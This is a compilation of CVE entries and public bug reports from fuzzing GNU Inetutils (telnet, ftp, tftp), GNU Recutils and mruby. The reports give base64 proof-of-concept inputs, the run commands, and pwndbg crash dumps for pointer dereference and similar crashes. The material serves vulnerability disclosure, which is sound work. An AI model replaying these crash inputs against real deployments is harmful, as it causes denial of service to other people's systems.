A NULL pointer dereference in unsetcmd() at inetutils/telnet/commands.c of GNU Inetutils v2.2.16-cf091 can lead to a segmentation fault or application crash.

\[Date Prev\]\[Date Next\]\[Thread Prev\]\[Thread Next\]\[Date Index\]\[Thread Index\]

**From**:

AiDai

**Subject**:

\[bug #61726\] NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

**Date**:

Thu, 23 Dec 2021 09:14:18 -0500 (EST)

**User-agent**:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

URL:
  <https://savannah.gnu.org/bugs/?61726\>

                 Summary: NULL Pointer Dereference in unsetcmd() at
inetutils/telnet/commands.c:1227
                 Project: GNU Networking Utilities
            Submitted by: aidai
            Submitted on: Thu 23 Dec 2021 02:14:16 PM UTC
                Category: None
                Severity: 3 - Normal
              Item Group: None
                  Status: None
                 Privacy: Public
             Assigned to: None
             Open/Closed: Open
         Discussion Lock: Any

    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Details:

# NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

## Description

A NULL Pointer Dereference was discovered in unsetcmd() at
inetutils/telnet/commands.c:1227. The vulnerability causes a segmentation
fault and application crash.

\*\*version\*\*

\`\`\`
./telnet --version
telnet (GNU inetutils) 2.2.16-cf091
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<https://gnu.org/licenses/gpl.html\>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.
\`\`\`

\*\*System information\*\*
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

## Proof of Concept

\*\*poc\*\*

\`\`\`
base64 poc
dQsiIA==
\`\`\`

\*\*command:\*\*

\`\`\`
./telnet < ./poc
\`\`\`

\*\*Result\*\*

\`\`\`
./telnet < ./poc
\[3\]    2387443 segmentation fault  ./telnet < ./poc
\`\`\`

\*\*gdb\*\*

\`\`\`
Program received signal SIGSEGV, Segmentation fault.
unsetcmd (argc=0, argv=0x55555557c110 <margv+16>) at commands.c:1227
1227              \*(ct->charp) = \_POSIX\_VDISABLE;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────\[
REGISTERS
\]─────────────────────────────────────────────
 RAX  0x0
 RBX  0x55555557bee2 (line+2) ◂— 0x20 /\* ' ' \*/
 RCX  0xfbad2098
 RDX  0x0
 RDI  0x55555557ab20 (Setlist+128) —▸ 0x555555571a7d ◂—
0x67756265640020 /\* ' ' \*/
 RSI  0x555555571a7d ◂— 0x67756265640020 /\* ' ' \*/
 R8   0x55555557bee0 (line) ◂— 0x200075 /\* 'u' \*/
 R9   0x7c
 R10  0x555555572e4c ◂— 0x69626d413f00203e /\* '> ' \*/
 R11  0x246
 R12  0x555555559d20 (\_start) ◂— endbr64
 R13  0x7fffffffe210 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe060 —▸ 0x7fffffffe090 —▸ 0x7fffffffe120 ◂— 0x0
 RSP  0x7fffffffe030 —▸ 0x55555557c110 (margv+16) ◂— 0x0
 RIP  0x55555555b592 (unsetcmd+717) ◂— mov    byte ptr \[rax\], 0
──────────────────────────────────────────────\[
DISASM
\]──────────────────────────────────────────────
 ► 0x55555555b592 <unsetcmd+717>    mov    byte ptr \[rax\], 0
   0x55555555b595 <unsetcmd+720>    mov    rax, qword ptr \[rbp - 0x20\]
   0x55555555b599 <unsetcmd+724>    mov    rax, qword ptr \[rax + 0x18\]
   0x55555555b59d <unsetcmd+728>    movzx  eax, byte ptr \[rax\]
   0x55555555b5a0 <unsetcmd+731>    movzx  eax, al
   0x55555555b5a3 <unsetcmd+734>    mov    edi, eax
   0x55555555b5a5 <unsetcmd+736>    call   control                <control>

   0x55555555b5aa <unsetcmd+741>    mov    rdx, rax
   0x55555555b5ad <unsetcmd+744>    mov    rax, qword ptr \[rbp - 0x20\]
   0x55555555b5b1 <unsetcmd+748>    mov    rax, qword ptr \[rax\]
   0x55555555b5b4 <unsetcmd+751>    mov    rsi, rax
──────────────────────────────────────────\[
SOURCE (CODE)
\]───────────────────────────────────────────
In file: /root/disk2/fuzzing/inetutils/inetutils/telnet/commands.c
   1222           (\*ct->handler) (0);
   1223           printf ("%s reset to \\"%s\\".\\n", ct->name, (char \*)
ct->charp);
   1224         }
   1225       else
   1226         {
 ► 1227           \*(ct->charp) = \_POSIX\_VDISABLE;
   1228           printf ("%s character is '%s'.\\n", ct->name,
   1229                   control (\*(ct->charp)));
   1230         }
   1231     }
   1232   return 1;
──────────────────────────────────────────────\[
STACK
\]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe030 —▸ 0x55555557c110 (margv+16) ◂— 0x0
01:0008│     0x7fffffffe038 ◂— 0x5555d867
02:0010│     0x7fffffffe040 —▸ 0x55555557ab20 (Setlist+128) —▸
0x555555571a7d ◂— 0x67756265640020 /\* ' ' \*/
03:0018│     0x7fffffffe048 —▸ 0x55555557bee0 (line) ◂— 0x200075 /\*
'u' \*/
04:0020│     0x7fffffffe050 ◂— 0x0
05:0028│     0x7fffffffe058 —▸ 0x55555557b360 (cmdtab+256) —▸
0x555555572e2f ◂— 0x6f74007465736e75 /\* 'unset' \*/
06:0030│ rbp 0x7fffffffe060 —▸ 0x7fffffffe090 —▸ 0x7fffffffe120
◂— 0x0
07:0038│     0x7fffffffe068 —▸ 0x55555555dab9 (command+550) ◂— test 
 eax, eax
────────────────────────────────────────────\[
BACKTRACE
\]─────────────────────────────────────────────
 ► f 0   0x55555555b592 unsetcmd+717
   f 1   0x55555555dab9 command+550
   f 2   0x55555555e3c8 main+776
   f 3   0x7ffff7db50b3 \_\_libc\_start\_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0  unsetcmd (argc=0, argv=0x55555557c110 <margv+16>) at commands.c:1227
#1  0x000055555555dab9 in command (top=1, tbuf=0x0, cnt=0) at commands.c:3044
#2  0x000055555555e3c8 in main (argc=0, argv=0x7fffffffe220) at main.c:423
#3  0x00007ffff7db50b3 in \_\_libc\_start\_main (main=0x55555555e0c0 <main>,
argc=1, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>,
rtld\_fini=<optimized out>, stack\_end=0x7fffffffe208) at
../csu/libc-start.c:308
#4  0x0000555555559d4e in \_start ()
\`\`\`






    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Reply to this item at:

  <https://savannah.gnu.org/bugs/?61726\>

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
  Message sent via Savannah
  https://savannah.gnu.org/

\[Prev in Thread\]

**Current Thread**

\[Next in Thread\]

*   **\[bug #61726\] NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227**, _AiDai_ **<=**

*   Prev by Date: **\[bug #61725\] NULL Pointer Dereference in help() at inetutils/telnet/commands.c:3094**
*   Next by Date: **Infinite Loop in domacro at domacro.c:258**
*   Previous by thread: **\[bug #61725\] NULL Pointer Dereference in help() at inetutils/telnet/commands.c:3094**
*   Next by thread: **Infinite Loop in domacro at domacro.c:258**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2021-45779: [bug #61726] NULL Pointer Dereference in unsetcmd() at inetutils/telnet/

A NULL pointer dereference in setnmap() at cmds.c of GNU Inetutils v2.2.16-cf091 can lead to a segmentation fault or application crash.

\[Date Prev\]\[Date Next\]\[Thread Prev\]\[Thread Next\]\[Date Index\]\[Thread Index\]

**From**:

AiDai

**Subject**:

\[bug #61723\] NULL Pointer Dereference in setnmap() at cmds.c:2303

**Date**:

Thu, 23 Dec 2021 09:13:10 -0500 (EST)

**User-agent**:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

URL:
  <https://savannah.gnu.org/bugs/?61723\>

                 Summary: NULL Pointer Dereference in setnmap() at cmds.c:2303
                 Project: GNU Networking Utilities
            Submitted by: aidai
            Submitted on: Thu 23 Dec 2021 02:13:08 PM UTC
                Category: None
                Severity: 3 - Normal
              Item Group: None
                  Status: None
                 Privacy: Public
             Assigned to: None
             Open/Closed: Open
         Discussion Lock: Any

    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Details:

# NULL Pointer Dereference in setnmap() at cmds.c:2303

## Description

A NULL Pointer Dereference was discovered in setnmap() at cmds.c:2303. The
vulnerability causes a segmentation fault and application crash.

\*\*version\*\*

\`\`\`
./ftp --version
ftp (GNU inetutils) 2.2.16-cf091
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<https://gnu.org/licenses/gpl.html\>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.
\`\`\`

\*\*System information\*\*
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

## Proof of Concept

\*\*poc\*\*

\`\`\`
base64 poc
bm1hIBjyAoHzCcvLArnD/sreCvgmMwoKAPUKEBoKEAAKDgAAAIDn5+fn5wAABADn5+foA+f4FJ0r
CgoKCgoK538Kubn/gAArCgp/CgoKCgoKQn8K1rn/gAAKCgp/CgoKAN0=
\`\`\`

\*\*command:\*\*

\`\`\`
./ftp < ./poc
\`\`\`

\*\*Result\*\*

\`\`\`
./ftp < ./poc
\[1\]    728662 segmentation fault  ./ftp < ./poc
\`\`\`

\*\*gdb\*\*

\`\`\`
Program received signal SIGSEGV, Segmentation fault.
0x000055555555ec9d in setnmap (argc=3, argv=0x55555557e680 <margv>) at
cmds.c:2303
2303      \*cp = '\\0';
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────\[
REGISTERS
\]─────────────────────────────────────────────
 RAX  0x0
 RBX  0x5555555702c0 (\_\_libc\_csu\_init) ◂— endbr64
 RCX  0x4
 RDX  0x0
 RDI  0x555555582aa0 ◂— 0x8102f21820616d6e
 RSI  0x20
 R8   0x555555583620 ◂— 0x8102f21800616d6e /\* 'nma' \*/
 R9   0x7ffff7f5a010 (main\_arena+1168) —▸ 0x7ffff7f5a000 (main\_arena+1152)
—▸ 0x7ffff7f59ff0 (main\_arena+1136) —▸ 0x7ffff7f59fe0
(main\_arena+1120) —▸ 0x7ffff7f59fd0 (main\_arena+1104) ◂— ...
 R10  0x555555580010 ◂— 0x0
 R11  0x7ffff7f59be0 (main\_arena+96) —▸ 0x5555555851a0 ◂— 0x0
 R12  0x555555559f30 (\_start) ◂— endbr64
 R13  0x7fffffffe210 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120 ◂— 0x0
 RSP  0x7fffffffe040 —▸ 0x55555557e680 (margv) —▸ 0x555555583620
◂— 0x8102f21800616d6e /\* 'nma' \*/
 RIP  0x55555555ec9d (setnmap+258) ◂— mov    byte ptr \[rax\], 0
──────────────────────────────────────────────\[
DISASM
\]──────────────────────────────────────────────
 ► 0x55555555ec9d <setnmap+258>    mov    byte ptr \[rax\], 0
   0x55555555eca0 <setnmap+261>    mov    rax, qword ptr \[rip + 0x1ae49\]
<0x555555579af0>
   0x55555555eca7 <setnmap+268>    mov    rdi, rax
   0x55555555ecaa <setnmap+271>    call   rpl\_free                <rpl\_free>

   0x55555555ecaf <setnmap+276>    mov    rax, qword ptr \[rip + 0x1f98a\]
<0x55555557e640>
   0x55555555ecb6 <setnmap+283>    mov    rdi, rax
   0x55555555ecb9 <setnmap+286>    call   strdup@plt               
<strdup@plt>

   0x55555555ecbe <setnmap+291>    mov    qword ptr \[rip + 0x1ae2b\], rax
<0x555555579af0>
   0x55555555ecc5 <setnmap+298>    jmp    setnmap+301               
<setnmap+301>

   0x55555555ecc7 <setnmap+300>    nop
   0x55555555ecc8 <setnmap+301>    add    qword ptr \[rbp - 8\], 1
──────────────────────────────────────────\[
SOURCE (CODE)
\]───────────────────────────────────────────
In file: /root/disk2/fuzzing/inetutils/inetutils/ftp/cmds.c
   2298       while (\*++cp == ' ')
   2299         continue;
   2300       altarg = cp;
   2301       cp = strchr (altarg, ' ');
   2302     }
 ► 2303   \*cp = '\\0';
   2304
   2305   free (mapin);
   2306   mapin = strdup (altarg);
   2307
   2308   while (\*++cp == ' ')
──────────────────────────────────────────────\[
STACK
\]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe040 —▸ 0x55555557e680 (margv) —▸
0x555555583620 ◂— 0x8102f21800616d6e /\* 'nma' \*/
01:0008│     0x7fffffffe048 ◂— 0x355583620
02:0010│     0x7fffffffe050 —▸ 0x5555555796c0 (cmdtab+2464) ◂— 0x0
03:0018│     0x7fffffffe058 ◂— 0x0
04:0020│ rbp 0x7fffffffe060 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe120
◂— 0x0
05:0028│     0x7fffffffe068 —▸ 0x555555566a09 (cmdscanner+633) ◂—
mov    eax, dword ptr \[rip + 0x17bf5\]
06:0030│     0x7fffffffe070 ◂— 0x0
07:0038│     0x7fffffffe078 ◂— 0x1c54c7100
────────────────────────────────────────────\[
BACKTRACE
\]─────────────────────────────────────────────
 ► f 0   0x55555555ec9d setnmap+258
   f 1   0x555555566a09 cmdscanner+633
   f 2   0x55555556665a main+929
   f 3   0x7ffff7d950b3 \_\_libc\_start\_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0  0x000055555555ec9d in setnmap (argc=3, argv=0x55555557e680 <margv>) at
cmds.c:2303
#1  0x0000555555566a09 in cmdscanner (top=1) at main.c:461
#2  0x000055555556665a in main (argc=0, argv=0x7fffffffe220) at main.c:310
#3  0x00007ffff7d950b3 in \_\_libc\_start\_main (main=0x5555555662b9 <main>,
argc=1, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>,
rtld\_fini=<optimized out>, stack\_end=0x7fffffffe208) at
../csu/libc-start.c:308
#4  0x0000555555559f5e in \_start ()
\`\`\`






    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Reply to this item at:

  <https://savannah.gnu.org/bugs/?61723\>

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
  Message sent via Savannah
  https://savannah.gnu.org/

\[Prev in Thread\]

**Current Thread**

\[Next in Thread\]

*   **\[bug #61723\] NULL Pointer Dereference in setnmap() at cmds.c:2303**, _AiDai_ **<=**

*   Prev by Date: **\[bug #61722\] Untrusted Pointer Dereference in domacro() at inetutils/ftp/domacro.c:186**
*   Next by Date: **\[bug #61724\] Infinite Loop in domacro at domacro.c:258**
*   Previous by thread: **\[bug #61722\] Untrusted Pointer Dereference in domacro() at inetutils/ftp/domacro.c:186**
*   Next by thread: **\[bug #61724\] Infinite Loop in domacro at domacro.c:258**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2021-45778: [bug #61723] NULL Pointer Dereference in setnmap() at cmds.c:2303

GNU Inetutils 2.2.16-cf091 was discovered to contain an infinite loop in domacro at domacro.c.

CVE-2021-45775: [bug #61724] Infinite Loop in domacro at domacro.c:258

An Use-After-Free vulnerability in rec_record_destroy() at rec-record.c of GNU Recutils v1.8.90 can lead to a segmentation fault or application crash.

CVE-2021-46021: Use After Free in rec_record_destroy() at rec-record.c:174

An untrusted pointer dereference in mrb_vm_exec() of mruby v3.0.0 can lead to a segmentation fault or application crash.

**Untrusted Pointer Dereference in mrb\_vm\_exec()****Description**

An Untrusted Pointer Dereference was discovered in mrb\_vm\_exec(). The vulnerability causes a segmentation fault and application crash.

**version**

6de0fcb

    ./mruby -v
    mruby 3.0.0 (2021-03-05)
    

**System information**  
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

**Proof of Concept**

**poc**

    base64 poc
    Y2xhc3MgVmNsYXNzDQoJQEB2YXJyID0gWzE8MiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0
    LDE1LDE2LDE3XQ0KCWRlZiB2YXJyDQoJCUBAdmFycg0KCWVuZA0KCWRlZiB0b19pJnQNCgkJQEB2
    YXJyLmNsZWFyDQoJCTExDQoJZW5kDQplbmQNCg0Kb2JqID0gVmNsYXNzLm5ldw0KDQpwcmludCBv
    YmoudmFyci5zaGlmdChvYmop
    

**command:**

**Result**

    ./mruby ./poc
    [1]    283553 segmentation fault  ./mruby ./poc
    

**gdb**

    Program received signal SIGSEGV, Segmentation fault.
    mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=0x55555561f7c3 <mrblib_proc_iseq_115+99> "/\006\003\001=\005\001%\377\331Q\006\002\001\a\004Q\b\003/\a\004\001<\006Q\a\004<\006\070\006") at /home/aidai/fuzzing/mruby/mruby-master/include/mruby/boxing_word.h:139
    139       return x;
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ───────────────────────────────[ REGISTERS ]────────────────────────────────
     RAX  0x10
     RBX  0x38
     RCX  0x7
     RDX  0x0
     RDI  0x1
     RSI  0xffffffff
     R8   0x6
     R9   0x0
     R10  0x1
     R11  0x55555566fb08 ◂— 0x10
     R12  0x2eb
     R13  0x10
     R14  0x7
     R15  0x2f
     RBP  0x0
     RSP  0x7fffffffdad0 —▸ 0x55555565d2a0 —▸ 0x7fffffffdd50 ◂— 0x6
     RIP  0x55555557988e (mrb_vm_exec+2590) ◂— cmp    byte ptr [r13 + 0x10], 0x13
    ─────────────────────────────────[ DISASM ]─────────────────────────────────
     ► 0x55555557988e <mrb_vm_exec+2590>     cmp    byte ptr [r13 + 0x10], 0x13
       0x555555579893 <mrb_vm_exec+2595>     mov    rdx, r13
       0x555555579896 <mrb_vm_exec+2598>     ja     mrb_vm_exec+16844
         <mrb_vm_exec+16844>
        ↓
       0x55555557d03c <mrb_vm_exec+16844>    mov    rax, qword ptr [rdx]
       0x55555557d03f <mrb_vm_exec+16847>    jmp    mrb_vm_exec+1400
        <mrb_vm_exec+1400>
        ↓
       0x5555555793e8 <mrb_vm_exec+1400>     lea    rcx, [rsp + 0x268]
       0x5555555793f0 <mrb_vm_exec+1408>     mov    rdi, qword ptr [rsp]
       0x5555555793f4 <mrb_vm_exec+1412>     mov    edx, r12d
       0x5555555793f7 <mrb_vm_exec+1415>     mov    qword ptr [rsp + 0x268], rax
       0x5555555793ff <mrb_vm_exec+1423>     mov    rsi, rcx
       0x555555579402 <mrb_vm_exec+1426>     mov    qword ptr [rsp + 0x70], rcx
    ─────────────────────────────[ SOURCE (CODE) ]──────────────────────────────
    In file: /home/aidai/fuzzing/mruby/mruby-master/include/mruby/boxing_word.h
       134 static inline union mrb_value_
       135 mrb_val_union(mrb_value v)
       136 {
       137   union mrb_value_ x;
       138   x.value = v;
     ► 139   return x;
       140 }
       141
       142 MRB_API mrb_value mrb_word_boxing_cptr_value(struct mrb_state*, void*);
       143 #ifndef MRB_NO_FLOAT
       144 MRB_API mrb_value mrb_word_boxing_float_value(struct mrb_state*, mrb_float);
    ─────────────────────────────────[ STACK ]──────────────────────────────────
    00:0000│ rsp 0x7fffffffdad0 —▸ 0x55555565d2a0 —▸ 0x7fffffffdd50 ◂— 0x6
    01:0008│     0x7fffffffdad8 —▸ 0x55555561f7c3 (mrblib_proc_iseq_115+99) ◂— 0x2501053d0103062f
    02:0010│     0x7fffffffdae0 —▸ 0x55555564c2a0 (mrblib_proc_irep_115) ◂— 0x30000000b0006
    03:0018│     0x7fffffffdae8 —▸ 0x55555561f7f0 (mrblib_proc_syms_115) ◂— 0x36700000125
    04:0020│     0x7fffffffdaf0 —▸ 0x7fffffffdd50 ◂— 0x6
    05:0028│     0x7fffffffdaf8 —▸ 0x55555567be90 —▸ 0x55555567be60 —▸ 0x55555567be48 ◂— 0x1a
    06:0030│     0x7fffffffdb00 ◂— 0x1
    07:0038│     0x7fffffffdb08 —▸ 0x55555566a2b0 ◂— 0x0
    ───────────────────────────────[ BACKTRACE ]────────────────────────────────
     ► f 0   0x55555557988e mrb_vm_exec+2590
       f 1   0x55555558300b mrb_vm_run+155
       f 2   0x555555584ed5 mrb_top_run+133
       f 3   0x5555555c7540 mrb_load_exec+752
       f 4   0x5555555c92b0 mrb_load_detect_file_cxt+400
       f 5   0x5555555756de main+1486
       f 6   0x7ffff7c980b3 __libc_start_main+243
    ────────────────────────────────────────────────────────────────────────────
    pwndbg> bt
    #0  mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=0x55555561f7c3 <mrblib_proc_iseq_115+99> "/\006\003\001=\005\001%\377\331Q\006\002\001\a\004Q\b\003/\a\004\001<\006Q\a\004<\006\070\006") at /home/aidai/fuzzing/mruby/mruby-master/include/mruby/boxing_word.h:139
    #1  0x000055555558300b in mrb_vm_run (mrb=0x55555565d2a0, proc=proc@entry=0x555555661b50, self=..., stack_keep=0) at /home/aidai/fuzzing/mruby/mruby-master/src/vm.c:1091
    #2  0x0000555555584ed5 in mrb_top_run (mrb=mrb@entry=0x55555565d2a0, proc=proc@entry=0x555555661b50, self=..., stack_keep=stack_keep@entry=0) at /home/aidai/fuzzing/mruby/mruby-master/src/vm.c:3050
    #3  0x00005555555c7540 in mrb_load_exec (mrb=mrb@entry=0x55555565d2a0, p=p@entry=0x55555567aa10, c=c@entry=0x555555679940) at mrbgems/mruby-compiler/core/parse.y:6881
    #4  0x00005555555c92b0 in mrb_load_detect_file_cxt (mrb=0x55555565d2a0, fp=0x555555679740, c=0x555555679940) at mrbgems/mruby-compiler/core/parse.y:6794
    #5  0x00005555555756de in main (argc=argc@entry=2, argv=argv@entry=0x7fffffffe248) at /home/aidai/fuzzing/mruby/mruby-master/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347
    #6  0x00007ffff7c980b3 in __libc_start_main (main=0x555555575110 <main>, argc=2, argv=0x7fffffffe248, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe238) at ../csu/libc-start.c:308
    #7  0x0000555555575a5e in _start () at /home/aidai/fuzzing/mruby/mruby-master/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:282

CVE-2021-46020: Untrusted Pointer Dereference in mrb_vm_exec() · Issue #5613 · mruby/mruby

An untrusted pointer dereference in rec_db_destroy() at rec-db.c of GNU Recutils v1.8.90 can lead to a segmentation fault or application crash.

CVE-2021-46019: Untrusted Pointer Dereference in rec_db_destroy()

An untrusted pointer dereference in getcmd() at inetutils/src/tftp.c of GNU Inetutils v2.2.16-cf091 can lead to a segmentation fault or application crash.

\# Untrusted Pointer Dereference in getcmd() at inetutils/src/tftp.c:878

\## Description

An Untrusted Pointer Dereference was discovered in getcmd() at inetutils/src/tftp.c:878. The vulnerability causes a segmentation fault and application crash.

\*\*version\*\*

\`\`\`  
./tftp --version  
tftp (GNU inetutils) 2.2.16-cf091  
Copyright (C) 2021 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html\>.  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.  
\`\`\`

\*\*System information\*\*  
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

\## Proof of Concept

\*\*poc\*\*

\`\`\`  
base64 poc  
PyA/IGIg/zc/IGIgEMoiICIgEAsgYiDKysogIiAQNyIiIyIgIiAQCyA/IGIgNwQgIP83IyIgIiAQ  
CyA6uwQvHiIUYiDKysrKPyA/IGIgEMoiICIgEDciIiMiICIgEAsgPyBiIDcEICD/NyMiICIgEAsg  
OrsELx4iFGIgysrKyj8gPyBiIBDKIiAiIBALIGIgysrKICIpEDciICIgEAsgYiDKysogIiAQNyIi  
IABAMAsg  
\`\`\`

\*\*command:\*\*

\`\`\`  
./tftp < ./poc  
\`\`\`

\*\*Result\*\*

\`\`\`  
./tftp < poc  
print help information  
set mode to octet  
?Invalid help command �7?  
set mode to octet  
?Invalid help command �"  
?Invalid help command "  
?Invalid help command  
set mode to octet  
?Invalid help command ���  
?Invalid help command "  
?Invalid help command 7""#"  
?Invalid help command "  
?Invalid help command  
print help information  
set mode to octet  
?Invalid help command 7  
?Invalid help command �7#"  
?Invalid help command "  
?Invalid help command  
?Invalid help command :� / " b  
?Invalid help command ����?  
print help information  
set mode to octet  
?Invalid help command �"  
?Invalid help command "  
?Invalid help command 7""#"  
?Invalid help command "  
?Invalid help command  
print help information  
set mode to octet  
?Invalid help command 7  
?Invalid help command �7#"  
?Invalid help command "  
?Invalid help command  
?Invalid help command :� / " b  
?Invalid help command ����?  
print help information  
set mode to octet  
?Invalid help command �"  
?Invalid help command "  
?Invalid help command  
set mode to octet  
?Invalid help command ���  
?Invalid help command ") 7"  
?Invalid help command "  
?Invalid help command  
set mode to octet  
?Invalid help command ���  
?Invalid help command "  
\[1\]    1736392 segmentation fault  ./tftp < poc  
\`\`\`

\*\*gdb\*\*

\`\`\`  
Program received signal SIGSEGV, Segmentation fault.  
0x0000555555558bc4 in getcmd (name=0x555500000033 <error: Cannot access memory at address 0x555500000033>) at tftp.c:878  
878       for (c = cmdtab; (p = c->name) != NULL; c++)  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
────────────────────────────────────────────\[ REGISTERS \]─────────────────────────────────────────────  
 RAX  0x18  
 RBX  0x555555567b50 (margc) ◂— 0x555500000033 /\* '3' \*/  
 RCX  0x0  
 RDX  0x0  
 RDI  0x555500000033  
 RSI  0x55555556258c ◂— 0x7463656e6e6f63 /\* 'connect' \*/  
 R8   0x0  
 R9   0x18  
 R10  0x55555556243b ◂— 0x203a70746674000a /\* '\\n' \*/  
 R11  0x246  
 R12  0x555500000033  
 R13  0x555555562423 ◂— '?Invalid help command %s\\n'  
 R14  0x0  
 R15  0x0  
 RBP  0x555555567b50 (margc) ◂— 0x555500000033 /\* '3' \*/  
 RSP  0x7fffffffe138 —▸ 0x555555558cce (help+78) ◂— cmp    rax, -1  
 RIP  0x555555558bc4 (getcmd+20) ◂— movzx  r9d, byte ptr \[rdi\]  
──────────────────────────────────────────────\[ DISASM \]──────────────────────────────────────────────  
 ► 0x555555558bc4 <getcmd+20>    movzx  r9d, byte ptr \[rdi\]  
   0x555555558bc8 <getcmd+24>    push   rbx  
   0x555555558bc9 <getcmd+25>    xor    r11d, r11d  
   0x555555558bcc <getcmd+28>    xor    r10d, r10d  
   0x555555558bcf <getcmd+31>    xor    ebx, ebx  
   0x555555558bd1 <getcmd+33>    lea    r8, \[rip + 0xe7c8\]            <0x5555555673a0>  
   0x555555558bd8 <getcmd+40>    lea    rcx, \[rsi + 1\]  
   0x555555558bdc <getcmd+44>    mov    rdx, rdi  
   0x555555558bdf <getcmd+47>    mov    eax, r9d  
   0x555555558be2 <getcmd+50>    cmp    byte ptr \[rsi\], r9b  
   0x555555558be5 <getcmd+53>    je     getcmd+80                <getcmd+80>  
──────────────────────────────────────────\[ SOURCE (CODE) \]───────────────────────────────────────────  
In file: /home/aidai/fuzzing/inetutils/inetutils/src/tftp.c  
   873   register int nmatches, longest;  
   874  
   875   longest = 0;  
   876   nmatches = 0;  
   877   found = 0;  
 ► 878   for (c = cmdtab; (p = c->name) != NULL; c++)  
   879     {  
   880       for (q = name; \*q == \*p++; q++)  
   881  if (\*q == 0)            /\* exact match? \*/  
   882    return (c);  
   883  
──────────────────────────────────────────────\[ STACK \]───────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffe138 —▸ 0x555555558cce (help+78) ◂— cmp    rax, -1  
01:0008│     0x7fffffffe140 —▸ 0x55555556b710 ◂— 0x0  
02:0010│     0x7fffffffe148 —▸ 0x5555555610f0 (\_\_libc\_csu\_init) ◂— endbr64  
03:0018│     0x7fffffffe150 ◂— 0x33 /\* '3' \*/  
04:0020│     0x7fffffffe158 —▸ 0x5555555679c0 (margv) —▸ 0x555555567b80 (line) ◂— 0x37ff0062003f003f /\* '?' \*/  
05:0028│     0x7fffffffe160 —▸ 0x7fffffffe270 ◂— 0x1  
06:0030│     0x7fffffffe168 —▸ 0x555555557b83 (main+387) ◂— jmp    0x555555557b29  
07:0038│     0x7fffffffe170 —▸ 0x7fffffffe270 ◂— 0x1  
────────────────────────────────────────────\[ BACKTRACE \]─────────────────────────────────────────────  
 ► f 0   0x555555558bc4 getcmd+20  
   f 1   0x555555558cce help+78  
   f 2   0x555555557b83 main+387  
   f 3   0x555555557b83 main+387  
   f 4   0x7ffff7de70b3 \_\_libc\_start\_main+243  
──────────────────────────────────────────────────────────────────────────────────────────────────────  
pwndbg> bt  
#0  0x0000555555558bc4 in getcmd (name=0x555500000033 <error: Cannot access memory at address 0x555500000033>) at tftp.c:878  
#1  0x0000555555558cce in help (argc=<optimized out>, argv=0x555555567b50 <margc>) at tftp.c:955  
#2  0x0000555555557b83 in command () at tftp.c:864  
#3  main (argc=argc@entry=1, argv=argv@entry=0x7fffffffe278) at tftp.c:298  
